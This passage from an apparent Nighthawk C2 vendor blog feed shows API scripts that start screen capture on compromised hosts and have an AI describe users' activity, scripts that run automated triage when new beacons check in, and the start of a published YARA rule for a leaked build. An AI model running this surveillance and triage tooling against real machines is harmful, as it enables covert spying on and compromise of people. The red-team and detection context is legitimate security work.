<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">static</span> <span class="k">void</span> <span class="nc">Main</span><span class="p">(</span><span class="nx">string</span><span class="p">[]</span> <span class="nx">args</span><span class="p">)</span>
<span class="p">{</span>
    <span class="nx">ApiClient</span><span class="p">.</span><span class="nx">VerifySSL</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
    
    <span class="nx">ApiClient</span><span class="p">.</span><span class="nc">Connect</span><span class="p">(</span><span class="dl">"</span><span class="s2">nighthawk.team.server</span><span class="dl">"</span><span class="p">,</span> <span class="mi">8888</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="kd">var</span> <span class="nx">loginResult</span> <span class="o">=</span> <span class="nx">ApiClient</span><span class="p">.</span><span class="nc">User_Login</span><span class="p">(</span><span class="dl">"</span><span class="s2">dmc</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">secretpassword</span><span class="dl">"</span><span class="p">);</span>

    <span class="nx">ApiClient</span><span class="p">.</span><span class="nx">SessionId</span> <span class="o">=</span> <span class="nx">loginResult</span><span class="p">.</span><span class="nx">SessionId</span><span class="p">.</span><span class="nc">ToString</span><span class="p">();</span>
</code></pre></div></div>

<p>These steps are common across all projects and a precursor to authenticating with the API. Let’s now look at building out a practical example. In this fun example, we’ll build a tool that connects to the Nighthawk API, starts the <code class="language-plaintext highlighter-rouge">screenwatch</code> command and periodically receives the images of the user’s actions which are then submitted to an internal AI to receive a description of what the user is doing.</p>

<p>Once an authenticated session is established, scripts and tools are then able to register for notifiable events over a WebSocket connection. This is achieved using the <code class="language-plaintext highlighter-rouge">PushClient</code> class which will execute any callbacks setup by the scripting clients.</p>

<p>In the case of the <code class="language-plaintext highlighter-rouge">screenwatch</code> command, the relevant <code class="language-plaintext highlighter-rouge">PushClient</code> notification is of type <code class="language-plaintext highlighter-rouge">ScreenWatchUpdateNotification</code> and can be registered as follows:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">pushClient</span> <span class="o">=</span> <span class="nx">PushClient</span><span class="o">&lt;</span><span class="nx">ScreenWatchUpdateNotification</span><span class="o">&gt;</span><span class="p">.</span><span class="nc">Register</span><span class="p">(</span>
	<span class="nx">PushNotificationType</span><span class="p">.</span><span class="nx">ScreenWatchNotification</span><span class="p">,</span>
	<span class="nx">ScreenWatchUpdateNotificationReceived</span>
<span class="p">);</span>
</code></pre></div></div>

<p>In this example, we’re registering a <code class="language-plaintext highlighter-rouge">PushClient</code> callback of <code class="language-plaintext highlighter-rouge">ScreenWatchUpdateNotificationReceived</code>, which we will go on to implement ourselves. Inside our callback, we’re able to receive the raw image from the <code class="language-plaintext highlighter-rouge">screenwatch</code> event using the <code class="language-plaintext highlighter-rouge">ApiClient.ScreenWatch_LastCapture</code> method which we can then process however we choose. The full implementation for our <code class="language-plaintext highlighter-rouge">screenwatch</code>  notification callback is as follows:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">private</span> <span class="kd">static</span> <span class="k">void</span> <span class="nc">ScreenWatchUpdateNotificationReceived</span><span class="p">(</span><span class="nx">ScreenWatchUpdateNotification</span> <span class="nx">notification</span><span class="p">)</span>
<span class="p">{</span>
    <span class="nx">Console</span><span class="p">.</span><span class="nc">WriteLine</span><span class="p">(</span><span class="nx">$</span><span class="dl">"</span><span class="s2">Screenwatch: {notification.ClientId} - {notification.UpdateTime} - {notification.ScreenWatchResponse.Command}</span><span class="dl">"</span><span class="p">);</span>

    <span class="k">if </span><span class="p">(</span><span class="nx">notification</span><span class="p">.</span><span class="nx">ScreenWatchResponse</span><span class="p">.</span><span class="nx">Command</span> <span class="o">==</span> <span class="nx">EScreenWatchCommandType</span><span class="p">.</span><span class="nx">CAPTURE</span> <span class="o">&amp;&amp;</span>
        <span class="nx">notification</span><span class="p">.</span><span class="nx">ScreenWatchResponse</span><span class="p">.</span><span class="nx">Success</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="kd">var</span> <span class="nx">capture</span> <span class="o">=</span> <span class="nx">ApiClient</span><span class="p">.</span><span class="nc">ScreenWatch_LastCapture</span><span class="p">(</span><span class="nx">notification</span><span class="p">.</span><span class="nx">ClientId</span><span class="p">);</span>

        <span class="nx">Console</span><span class="p">.</span><span class="nc">WriteLine</span><span class="p">(</span><span class="nx">$</span><span class="dl">"</span><span class="s2">Image captured {capture.CaptureImage.Length:n0} bytes</span><span class="dl">"</span><span class="p">);</span>

        <span class="nf">lock </span><span class="p">(</span><span class="nx">_imageLock</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="nc">ProcessImage</span><span class="p">(</span><span class="nx">capture</span><span class="p">.</span><span class="nx">CaptureImage</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now that our callback is defined, we can retrieve a list of agents from the API using the <code class="language-plaintext highlighter-rouge">Agent_List</code> method, and starting the <code class="language-plaintext highlighter-rouge">screenwatch</code> command on the agent with <code class="language-plaintext highlighter-rouge">ScreenWatch_Start</code>:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">agents</span> <span class="o">=</span> <span class="nx">ApiClient</span><span class="p">.</span><span class="nc">Agent_List</span><span class="p">().</span><span class="nc">OrderByDescending</span><span class="p">(</span><span class="nx">a</span> <span class="o">=&gt;</span> <span class="nx">a</span><span class="p">.</span><span class="nx">LastActivity</span><span class="p">);</span>
<span class="nx">ApiClient</span><span class="p">.</span><span class="nc">ScreenWatch_Start</span><span class="p">(</span><span class="nx">agents</span><span class="p">.</span><span class="nc">First</span><span class="p">().</span><span class="nx">ClientId</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="nx">pushClient</span><span class="p">.</span><span class="nc">Connect</span><span class="p">();</span>

<span class="nx">Console</span><span class="p">.</span><span class="nc">WriteLine</span><span class="p">(</span><span class="dl">"</span><span class="s2">Waiting for response; type 'q' and enter to finish</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">Console</span><span class="p">.</span><span class="nc">WriteLine</span><span class="p">(</span><span class="nx">$</span><span class="dl">"</span><span class="s2">Using OpenWebUI at: {_openWebUIBaseUrl}</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">Console</span><span class="p">.</span><span class="nc">WriteLine</span><span class="p">(</span><span class="nx">$</span><span class="dl">"</span><span class="s2">Using model: {_modelName}</span><span class="dl">"</span><span class="p">);</span>

<span class="k">while </span><span class="p">(</span><span class="nx">Console</span><span class="p">.</span><span class="nc">ReadLine</span><span class="p">()</span> <span class="o">!=</span> <span class="dl">"</span><span class="s2">q</span><span class="dl">"</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>

<span class="nx">pushClient</span><span class="p">.</span><span class="nc">Disconnect</span><span class="p">();</span>
</code></pre></div></div>

<p>In our example, <code class="language-plaintext highlighter-rouge">ProcessImage</code> goes on to use OCR using Tesseract from the image and hands off the text to <code class="language-plaintext highlighter-rouge">OpenWebUI's</code> API to generate a human-readable summary of what the user is doing. Only meaningful events are processed from the user’s activity by calculating a Levenstein distance for changes and only submitting the changes over an appropriate threshold. We’re not going to walk through the entirety of this example as the OpenWebUI processing is beyond the scope of the intended focus of this post, but you can find the full implementation of <code class="language-plaintext highlighter-rouge">ScreenWatchOpenWebUI</code> <a href="https://github.com/nighthawkc2/API_Examples">here</a>.</p>

<p>The example below shows the .NET API starting the <code class="language-plaintext highlighter-rouge">screenwatch</code> command on a beacon, then receiving images which it asks for the AI to summarise as the user’s activity changes:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/1119912845" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<h2 id="developing-with-the-python-api">Developing with the Python API</h2>

<p>In addition to the .NET API library, we also provide a python implementation that works in a similar manner. The python library can be found in the <code class="language-plaintext highlighter-rouge">Samples\nighthawk_api</code> folder of the release, and installed using Python pip, with the <code class="language-plaintext highlighter-rouge">pip install .</code> command. A large number of examples can be found in the <code class="language-plaintext highlighter-rouge">examples</code> folder.</p>

<p>The Python library works in a similar way to the .NET version, exposing a number of methods for interacting with Nighthawk inside the <code class="language-plaintext highlighter-rouge">Api</code> class. Let’s walkthrough an example of how you monitor for new beacons and automatically perform some triage when a new beacon notification event occurs.  The first action of building any scripts against the backend API is to authenticate to the Nighthawk, the <code class="language-plaintext highlighter-rouge">api.user_login</code> is provided to do this as follows:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">api</span> <span class="o">=</span> <span class="nx">nh</span><span class="p">.</span><span class="nc">Api</span><span class="p">(</span><span class="nx">domain</span><span class="o">=</span><span class="nx">args</span><span class="p">.</span><span class="nx">server</span><span class="p">,</span> <span class="nx">verify_ssl</span><span class="o">=</span><span class="nx">args</span><span class="p">.</span><span class="nx">ignore_ssl</span> <span class="nx">is</span> <span class="nx">False</span><span class="p">)</span>
    <span class="k">await</span> <span class="nx">api</span><span class="p">.</span><span class="nf">user_login</span><span class="p">(</span><span class="nx">args</span><span class="p">.</span><span class="nx">username</span><span class="p">,</span> <span class="nx">args</span><span class="p">.</span><span class="nx">password</span><span class="p">)</span>
    <span class="k">if</span> <span class="nx">api</span><span class="p">.</span><span class="nx">connected</span> <span class="nx">is</span> <span class="nx">False</span><span class="p">:</span>
        <span class="k">return</span>
</code></pre></div></div>

<p>The Python API also similarly contains a <code class="language-plaintext highlighter-rouge">PushClient</code> class which allows the script to register for notification events and register a callback to handle them. This can be done similar to the below, where our script registers to receive events of type <code class="language-plaintext highlighter-rouge">AgentUpdateNotification</code> (changes to agents) which it will handle with the callback <code class="language-plaintext highlighter-rouge">decorator_new_agent_notification_received</code> (implemented in <code class="language-plaintext highlighter-rouge">new_agent_notification_received</code>):</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">push_client</span> <span class="o">=</span> <span class="nx">nh</span><span class="p">.</span><span class="nc">PushClient</span><span class="p">(</span><span class="nx">api</span><span class="o">=</span><span class="nx">api</span><span class="p">)</span>

<span class="k">await</span> <span class="nx">push_client</span><span class="p">.</span><span class="nf">register</span><span class="p">(</span><span class="nx">nh</span><span class="p">.</span><span class="nx">notification_types</span><span class="p">[</span><span class="dl">'</span><span class="s1">AgentUpdateNotification</span><span class="dl">'</span><span class="p">],</span> <span class="nx">decorator_new_agent_notification_received</span><span class="p">)</span>

<span class="nx">connect_task</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">push_client</span><span class="p">.</span><span class="nf">connect</span><span class="p">()</span>

</code></pre></div></div>

<p>In our example, <code class="language-plaintext highlighter-rouge">new_agent_notification_received</code> acts as a simple wrapper to <code class="language-plaintext highlighter-rouge">execute_triage_commands</code> where the triage tasking is performed. In this example, we’ll execute a number of API calls to collect folder listings, process listing a list of installed application and run a BOF. Each of these tasks registers a callback, such as <code class="language-plaintext highlighter-rouge">await api.ls(directory, client_id=client_id, callback=ls_callback)</code> . The callback is however optional and without it the task will run synchronously, where the result can be stored via assignment. Our <code class="language-plaintext highlighter-rouge">execute_triage_commands</code> command looks as follows:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="nx">def</span> <span class="nf">execute_triage_commands</span><span class="p">(</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">api</span><span class="p">):</span>
    <span class="dl">"""</span><span class="s2">Execute all triage commands for a new agent</span><span class="dl">"""</span>
    <span class="nf">print</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">New Agent: {client_id}. Running triage...</span><span class="dl">"</span><span class="p">)</span>

    <span class="err">#</span> <span class="nx">Create</span> <span class="nx">callbacks</span>
    <span class="nx">ls_callback</span> <span class="o">=</span> <span class="nf">create_ls_callback</span><span class="p">(</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">api</span><span class="p">)</span>
    <span class="nx">ps_callback</span> <span class="o">=</span> <span class="nf">create_ps_callback</span><span class="p">(</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">api</span><span class="p">)</span>
    <span class="nx">applist_callback</span> <span class="o">=</span> <span class="nf">create_applist_callback</span><span class="p">(</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">api</span><span class="p">)</span>
    <span class="nx">bof_callback</span> <span class="o">=</span> <span class="nf">create_bof_callback</span><span class="p">(</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">api</span><span class="p">)</span>

    <span class="err">#</span> <span class="nx">Execute</span> <span class="nx">triage</span> <span class="nx">commands</span>
    <span class="k">for</span> <span class="nx">directory</span> <span class="k">in</span> <span class="nx">TRIAGE_DIRECTORIES</span><span class="p">:</span>
        <span class="k">await</span> <span class="nx">api</span><span class="p">.</span><span class="nf">ls</span><span class="p">(</span><span class="nx">directory</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">=</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">callback</span><span class="o">=</span><span class="nx">ls_callback</span><span class="p">)</span>

    <span class="k">await</span> <span class="nx">api</span><span class="p">.</span><span class="nf">ps</span><span class="p">(</span><span class="nx">False</span><span class="p">,</span> <span class="nx">True</span><span class="p">,</span> <span class="nx">SKIP_PROCESSES</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">=</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">callback</span><span class="o">=</span><span class="nx">ps_callback</span><span class="p">)</span>
    <span class="k">await</span> <span class="nx">api</span><span class="p">.</span><span class="nf">applist</span><span class="p">(</span><span class="nx">client_id</span><span class="o">=</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">callback</span><span class="o">=</span><span class="nx">applist_callback</span><span class="p">)</span>

    <span class="err">#</span> <span class="nx">Execute</span> <span class="nx">BOF</span> <span class="k">for</span> <span class="nx">domain</span> <span class="nx">information</span>
    <span class="k">await</span> <span class="nf">execute_domain_bof</span><span class="p">(</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">api</span><span class="p">,</span> <span class="nx">bof_callback</span><span class="p">)</span>
</code></pre></div></div>

<p>Each of our callbacks provides access to the result of the task inside the <code class="language-plaintext highlighter-rouge">CommandResponse</code> attribute of the notification; this in turn has a number of task specific attributes depending on the type of command being executed. For example, our <code class="language-plaintext highlighter-rouge">ls</code> callback command may look as follows:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">def</span> <span class="nf">create_ls_callback</span><span class="p">(</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">api</span><span class="p">):</span>
    <span class="dl">"""</span><span class="s2">Create directory listing callback for a specific client</span><span class="dl">"""</span>
    <span class="k">async</span> <span class="nx">def</span> <span class="nf">ls_callback</span><span class="p">(</span><span class="nx">notification</span><span class="p">,</span> <span class="nx">push_client</span><span class="p">,</span> <span class="nx">api_param</span><span class="p">):</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="nx">cr</span> <span class="o">=</span> <span class="nx">notification</span><span class="p">[</span><span class="dl">'</span><span class="s1">CommandResponse</span><span class="dl">'</span><span class="p">]</span>
            <span class="nf">init_triage_data</span><span class="p">(</span><span class="nx">client_id</span><span class="p">)</span>

            <span class="nx">path</span> <span class="o">=</span> <span class="nx">cr</span><span class="p">[</span><span class="dl">'</span><span class="s1">Path</span><span class="dl">'</span><span class="p">]</span>
            <span class="nx">files</span> <span class="o">=</span> <span class="p">[</span><span class="nx">f</span><span class="p">[</span><span class="dl">'</span><span class="s1">FileName</span><span class="dl">'</span><span class="p">]</span> <span class="k">for</span> <span class="nx">f</span> <span class="k">in</span> <span class="nx">cr</span><span class="p">[</span><span class="dl">'</span><span class="s1">FileListingEntries</span><span class="dl">'</span><span class="p">]]</span>
            <span class="nx">triage_data</span><span class="p">[</span><span class="nx">client_id</span><span class="p">][</span><span class="dl">'</span><span class="s1">directories</span><span class="dl">'</span><span class="p">][</span><span class="nx">path</span><span class="p">]</span> <span class="o">=</span> <span class="nx">files</span>

            <span class="nf">print</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">Directory listing for {path}: {len(files)} items</span><span class="dl">"</span><span class="p">)</span>
            <span class="k">await</span> <span class="nf">check_triage_completion</span><span class="p">(</span><span class="nx">client_id</span><span class="p">,</span> <span class="nx">api</span><span class="p">)</span>

        <span class="nx">except</span> <span class="nx">Exception</span> <span class="nx">as</span> <span class="nx">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">Error in directory listing callback: {e}</span><span class="dl">"</span><span class="p">)</span>

    <span class="k">return</span> <span class="nx">ls_callback</span>
</code></pre></div></div>

<p>Once the triage data is all collected, we can again hand off this data to an AI in our example, and prompt it to summarise the results.</p>

<p>The example in the video below shows a new beacon checking in, with a python script running with an agent notification subscription. When the beacon checks in, the script runs a number of commands to triage the hosts and asks the AI to summarise the results:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/1119946042" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>While the examples we’ve demonstrated are relatively basic, they provide an illustration of how harnessing Nighthawk’s API can be incredibly powerful. Other example use cases could include automatically deploying persistence, notification of new agents, integration with other resources such as Slack or Mattermost, or AI systems as we’ve shown above.</p>

<p>The complete sample code for these examples can be found on this <a href="https://github.com/nighthawkc2/API_Examples">Nighthawk github repository</a>.</p>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="Automation" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[Nighthawk, Automation]]></summary></entry><entry><title type="html">Nighthawk 0.3.4 – Sivako</title><link href="https://nighthawkc2.io/sivako/" rel="alternate" type="text/html" title="Nighthawk 0.3.4 – Sivako" /><published>2025-09-02T01:00:00+01:00</published><updated>2025-09-02T01:00:00+01:00</updated><id>https://nighthawkc2.io/sivako</id><content type="html" xml:base="https://nighthawkc2.io/sivako/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>At the start of July, we released Nighthawk 0.3.4 to customers. It’s been some time since our last release and there’s good reason for that, which we’ll outline below, but suffice to say the team have been exceptionally busy building new tools and continuing to work on new groundbreaking R&amp;D which customers will start to see the fruits of over the coming releases.</p>

<h2 id="undressing-the-elephant">Undressing the Elephant</h2>

<p>Before we dive in to this release, let’s first address the elephant in the room. In February this year, some components of an older Nighthawk version (from October 2022) were being publicly shared in various underground forums, Telegram and on other exchanges. This was not a complete build, and could not be used in its existing form. Irrespective, this was clearly not acceptable. To understand how this came to pass and what we did at the time, let’s rewind back further.</p>

<p>In December 2024, roughly 3 months before this release was being publicly shared, we noted a user on both <a href="http://XSS.is">XSS.is</a> and Telegram offering the software for sale. Now, it’s worth mentioning that we pro-actively monitor these and other underground forums/marketplaces using both automated and manual analysis, looking for any references to our software. We consider this part of our pro-active approach to product protection. There have been many individuals claiming to have access to the software and offering it for sale. However, engaging with these users had always historically revealed them to be scams, with the seller either being unable to produce any evidence they had the software or sending us a terribly edited photo from one of our public screenshots or videos. This occasion was however different, and the seller showed us enough credible evidence to suggest that they either had some components of the software, or knew someone who did. We agreed to purchase the software from the seller so that we could do our own analysis on what they had.</p>

<p>Once we’d obtained a copy, we were able to quickly confirm that it was a genuine but heavily modified copy of the teamserver and C2 client software, with the licensing restrictions removed. While this was disappointing, thanks to our watermarking, we were able to quickly identify the customer, an internal red team at a large US financial, as the source of the leak. While it was never determined how the leak occurred, from our analysis of the build we were able to attribute the cracked copy had been rebundled by a Chinese actor due to some Jetbrains metadata left behind.</p>

<p>At this stage, we decided there were a number of short, medium and longer term actions that we needed to take.</p>

<p>The first was we immediately contacted the customer and informed them of the leak and asked them to investigate it. To limit any further damage or leaks of newer versions of the software, we disabled their access and terminated their licenses due to breach of our software EULA.</p>

<p>At this time, we don’t believe the software was being widely shared and because we were able to pro-actively identify it early, we had an opportunity to limit any future damages it might cause should it re-engineered to be functional. As such, in early January we decided to contact a number of defensive vendors, inform them about the leak and offer some detection support. Specifically, we reached out to Microsoft, CrowdStrike, SentinelOne, Palo Alto, Elastic and Huntress providing them with some intelligence and detection support. While we noted that the existing public <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Nighthawk.yar">Elastic Yara rule</a> was able to detect this older version of the software, it was somewhat incomplete; we provided them with a more extensive version targeted only at the leaked build, that would detect both x86 and x64 versions of the beacon irrespective of configuration. We’re now publicly sharing this below:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="dl">"</span><span class="s2">pe</span><span class="dl">"</span>
 
<span class="nx">rule</span> <span class="nx">leaked_nighthawk_0_2_1_x64</span> <span class="p">{</span>
    <span class="nl">meta</span><span class="p">:</span>
        <span class="nx">author</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">MDSec Consulting Ltd</span><span class="dl">"</span>
        <span class="nx">id</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">33c3476a-cc96-43c5-979d-1d0f6a1cb017</span><span class="dl">"</span>
        <span class="nx">creation_date</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">2025-01-09</span><span class="dl">"</span>
        <span class="nx">last_modified</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">2025-01-09</span><span class="dl">"</span>
        <span class="nx">reference_sample</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">e180751a9d9c34c3daf62b90f5750999fb0232bfb336915661189b7f751add10</span><span class="dl">"</span>
        <span class="nx">threat_name</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Nighthawk.Leaked.0-2-1</span><span class="dl">"</span>
        <span class="nx">severity</span> <span class="o">=</span> <span class="mi">100</span>
        <span class="nx">arch_context</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">x64</span><span class="dl">"</span>
        <span class="nx">scan_context</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">file, memory</span><span class="dl">"</span>
        <span class="nx">os</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">windows</span><span class="dl">"</span>
    <span class="nx">strings</span><span class="p">:</span>
               <span class="nx">$nh_shellcode_sequence_2</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">15</span> <span class="mi">78</span> <span class="mi">42</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">40</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="nx">B8</span> <span class="nx">A1</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">95</span> <span class="mi">40</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_3</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="mi">2</span><span class="nx">B</span> <span class="nx">C6</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">C0</span> <span class="nx">F8</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">F8</span> <span class="mi">1</span><span class="nx">F</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">87</span> <span class="nx">B7</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CE</span> <span class="nx">E8</span> <span class="nx">CF</span> <span class="mi">48</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">6</span><span class="nx">D</span> <span class="nx">B0</span> <span class="mi">45</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">46</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_8</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">68</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">C7</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">33</span> <span class="nx">C0</span> <span class="mi">49</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CD</span> <span class="nx">F3</span> <span class="nx">AA</span> <span class="mi">48</span> <span class="mi">89</span> <span class="nx">B5</span> <span class="mi">90</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="nx">B5</span> <span class="nx">A0</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">95</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_9</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="mi">05</span> <span class="mi">39</span> <span class="mi">70</span> <span class="mi">74</span> <span class="mi">74</span> <span class="mi">12</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="nx">BD</span> <span class="nx">F8</span> <span class="mi">65</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">C7</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">33</span> <span class="nx">C0</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">48</span> <span class="mi">0</span><span class="nx">D</span> <span class="nx">F3</span> <span class="nx">AA</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">74</span> <span class="mi">24</span> <span class="mi">68</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_10</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">24</span> <span class="mi">10</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">74</span> <span class="mi">24</span> <span class="mi">18</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">20</span> <span class="mi">55</span> <span class="mi">41</span> <span class="mi">56</span> <span class="mi">41</span> <span class="mi">57</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">EC</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">EC</span> <span class="mi">70</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">FA</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">F1</span> <span class="mi">41</span> <span class="nx">BE</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_11</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">87</span> <span class="mi">01</span> <span class="mi">00</span> <span class="nx">E1</span> <span class="mi">06</span> <span class="mi">46</span> <span class="mi">18</span> <span class="mi">88</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="nx">D5</span> <span class="mi">05</span> <span class="nx">F4</span> <span class="mi">87</span> <span class="mi">01</span> <span class="mi">00</span> <span class="nx">E1</span> <span class="mi">06</span> <span class="mi">46</span> <span class="mi">18</span> <span class="mi">88</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">15</span> <span class="mi">07</span> <span class="nx">F4</span> <span class="mi">87</span> <span class="mi">01</span> <span class="mi">00</span> <span class="nx">E1</span> <span class="mi">06</span> <span class="mi">46</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_12</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">1</span><span class="nx">C</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D0</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">80</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="mi">84</span> <span class="nx">DA</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">90</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D0</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">20</span> <span class="nx">E8</span> <span class="mi">9</span><span class="nx">E</span> <span class="mi">13</span> <span class="mi">01</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_13</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">60</span> <span class="mi">74</span> <span class="mi">74</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">7</span><span class="nx">D</span> <span class="mi">28</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">C7</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">33</span> <span class="nx">C0</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">48</span> <span class="mi">0</span><span class="nx">D</span> <span class="nx">F3</span> <span class="nx">AA</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">89</span> <span class="mi">23</span> <span class="nx">BE</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">73</span> <span class="mi">18</span> <span class="mi">4</span><span class="nx">C</span> <span class="p">}</span>
